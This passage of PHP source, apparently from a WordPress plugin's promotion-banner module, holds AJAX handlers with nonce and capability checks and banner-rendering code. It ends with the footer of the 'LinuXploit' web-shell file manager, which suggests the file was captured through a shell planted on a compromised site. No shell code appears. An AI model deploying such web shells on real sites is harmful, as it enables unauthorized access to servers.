                update_option('_bmi_redirect', true);
                update_option('_bmi_banner_installation', true);
                $url = admin_url() . 'admin.php?page=backup-migration';
              }

              // Send success
              $this->send_json_success([ 'url' => $url ]);

              // I don't know what happened here and if it's even possible
            } else $this->send_json_error([], true);

            // Send fail
          } else $this->send_json_error([], true);

        }

        // Dismiss plugin
        private function _dismiss($slug = false) {

          if ($slug) {

            $newDisplayCheck = strtotime($this->dismissDelay);
            $option = 'insPP_delay_' . $slug;
            update_option($option, $newDisplayCheck);
            update_option('insPP_timeout', strtotime($this->bannersDelay));

          }

        }

        // Remind plugin
        private function _remind($slug = false) {

          if ($slug) {

            $newDisplayCheck = strtotime($this->remindDelay);
            $option = 'insPP_delay_' . $slug;
            update_option($option, $newDisplayCheck);
            update_option('insPP_timeout', $newDisplayCheck);

          }

        }

        // Handle Ajax Actions
        public function ajaxHandler() {

          if (check_ajax_referer('invr_recommendation', 'nonce', false) === false) {
            return wp_send_json_error();
          }

          if (!current_user_can('install_plugins')) {
            return wp_send_json_error();
          }

          @error_reporting(0);

          $method = sanitize_text_field($_POST['method']);
          $classes = sanitize_text_field($_POST['classes']);

          if (strpos($classes, '-1') !== false) {

            if ($method == 'install') $this->_install('pop-up-pop-up', $this->mpu_slug);
            else if ($method == 'dismiss') $this->_dismiss('mpu');
            else if ($method == 'remind') $this->_remind('mpu');

          } else if (strpos($classes, '-2') !== false) {

            if ($method == 'install') $this->_install('backup-backup', $this->bmi_slug);
            else if ($method == 'dismiss') $this->_dismiss('bmi');
            else if ($method == 'remind') $this->_remind('bmi');

          } else if (strpos($classes, '-3') !== false) {

            if ($method == 'install') $this->_install('copy-delete-posts', $this->cdp_slug);
            else if ($method == 'dismiss') $this->_dismiss('cdp');
            else if ($method == 'remind') $this->_remind('cdp');

          } else $this->send_json_error();

          // Kill WordPress
          wp_die();

        }

        // Include scripts which handles the banner
        public function addScriptsAndStyles() {

          // Make sure something is rendered
          if (defined('insPP_renderScripts')) {

            // Make sure it won't run twice
            if (defined('insPP_scriptsLoaded')) return;
            else define('insPP_scriptsLoaded', true);

            // Load styles & script
            wp_enqueue_script('inisev-promotion-script', ($this->url . 'script.min.js'), [], '0.1.1');
            wp_enqueue_style('inisev-promotion-style', ($this->url . 'style.min.css'), [], '0.1.1');

            // Pass nonce to JS
            wp_localize_script('inisev-promotion-script', 'invr_recommendation', [
              'nonce' => wp_create_nonce('invr_recommendation'),
            ], true);

          }

        }

        // It will make sure it won't show multiple times
        public function renderBanner() {

          // Don't show it immidietaly
          if (!$this->checkSite()) return false;
          if (!get_option('insPP_timeout', false)) update_option('insPP_timeout', strtotime($this->installationDelay));
          else if (intval(get_option('insPP_timeout')) > intval(time())) return false;

          // Renders won't allow to show it multiple times via different plugins.
          if ($this->canRenderBMI) $this->renderBMI();
          else if ($this->canRenderCDP) $this->renderCDP();
          else if ($this->canRenderMPU) $this->renderMPU();

        }

      }

    }

  }

Youez - 2016 - github.com/yon3zu
LinuXploit